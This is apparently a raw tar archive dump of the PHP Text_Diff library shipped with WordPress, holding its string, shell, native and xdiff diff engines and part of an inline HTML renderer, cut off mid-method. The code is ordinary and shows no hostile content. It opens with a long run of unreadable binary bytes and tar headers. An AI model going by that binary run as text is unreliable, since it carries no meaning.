HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        Renderer/Engine.tar                                                                                 0000644                 00000107000 15217306007 0010226 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       string.php                                                                                          0000644                 00000020233 15217301663 0006567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15217301663 0006367 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             native.php                                                                                          0000644                 00000037261 15217301663 0006560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               xdiff.php                                                                                           0000644                 00000004233 15217301663 0006363 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Renderer/inline.php                                                                                 0000644                 00000012630 15217306007 0010304 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

